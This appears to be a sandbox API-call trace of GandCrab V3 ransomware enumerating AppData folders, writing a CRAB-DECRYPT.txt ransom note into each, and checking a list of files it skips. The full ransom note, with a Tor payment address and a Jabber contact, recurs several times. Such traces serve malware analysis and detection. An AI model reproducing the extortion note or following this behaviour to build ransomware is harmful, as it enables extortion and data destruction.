	[0111.586] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 98
	[0111.586] lstrlenW (lpString=".lnk") returned 4
	[0111.586] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.586] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.586] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.587] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.587] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0111.587] FindClose (in: hFindFile=0xda7070 | out: hFindFile=0xda7070) returned 1
	[0111.587] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.587] lstrcmpW (lpString1="UserData", lpString2=".") returned 1
	[0111.587] lstrcmpW (lpString1="UserData", lpString2="..") returned 1
	[0111.587] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="UserData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData"
	[0111.587] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\"
	[0111.587] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.587] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.588] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.588] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.588] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.588] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.588] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.588] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.588] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.588] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.588] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.588] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.588] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.588] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\CRAB-DECRYPT.txt") returned 92
	[0111.588] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0111.590] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.590] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0111.590] CloseHandle (hObject=0x3f4) returned 1
	[0111.591] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.591] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\") returned 75
	[0111.591] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*"
	[0111.591] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda7370
	[0111.591] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.591] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.591] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.591] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.591] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.591] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.591] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.592] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\CRAB-DECRYPT.txt"
	[0111.592] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.592] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\CRAB-DECRYPT.txt") returned 91
	[0111.592] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\CRAB-DECRYPT.txt") returned 91
	[0111.592] lstrlenW (lpString=".txt") returned 4
	[0111.592] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.592] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.592] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.593] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\CRAB-DECRYPT.txt") returned 91
	[0111.593] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\CRAB-DECRYPT.txt") returned 91
	[0111.593] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.593] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.593] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.593] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.593] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.593] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.593] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.593] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.593] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.593] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.593] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.593] lstrcmpW (lpString1="Low", lpString2=".") returned 1
	[0111.593] lstrcmpW (lpString1="Low", lpString2="..") returned 1
	[0111.593] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="Low" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low"
	[0111.593] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\"
	[0111.593] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.594] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.594] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.594] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.594] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.594] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.594] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.594] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\\\CRAB-DECRYPT.txt") returned 96
	[0111.595] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0111.596] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.596] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0111.597] CloseHandle (hObject=0x3f8) returned 1
	[0111.597] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.598] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned 79
	[0111.598] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*"
	[0111.598] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xda7070
	[0111.598] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.598] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.598] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.598] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.598] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.598] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.598] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.598] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\CRAB-DECRYPT.txt"
	[0111.598] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.599] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\CRAB-DECRYPT.txt") returned 95
	[0111.599] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\CRAB-DECRYPT.txt") returned 95
	[0111.599] lstrlenW (lpString=".txt") returned 4
	[0111.599] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.599] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.599] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.600] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\CRAB-DECRYPT.txt") returned 95
	[0111.600] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\CRAB-DECRYPT.txt") returned 95
	[0111.600] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.600] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.600] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.600] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.600] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.600] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.600] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.600] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.600] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.600] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.600] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0111.600] FindClose (in: hFindFile=0xda7070 | out: hFindFile=0xda7070) returned 1
	[0111.600] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0111.600] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0111.601] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0111.601] FindClose (in: hFindFile=0xda6f30 | out: hFindFile=0xda6f30) returned 1
	[0111.601] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0111.601] lstrcmpW (lpString1="MMC", lpString2=".") returned 1
	[0111.601] lstrcmpW (lpString1="MMC", lpString2="..") returned 1
	[0111.601] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MMC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC"
	[0111.601] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\"
	[0111.601] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.601] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.601] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.601] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.601] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.601] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.602] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.602] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.602] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.602] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.602] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.602] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\\\CRAB-DECRYPT.txt") returned 69
	[0111.602] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\mmc\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0111.604] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.604] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0111.604] CloseHandle (hObject=0x3f0) returned 1
	[0111.605] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.605] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\") returned 52
	[0111.605] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*"
	[0111.605] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda6f30
	[0111.605] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.605] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.605] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.605] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.606] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.606] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.606] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
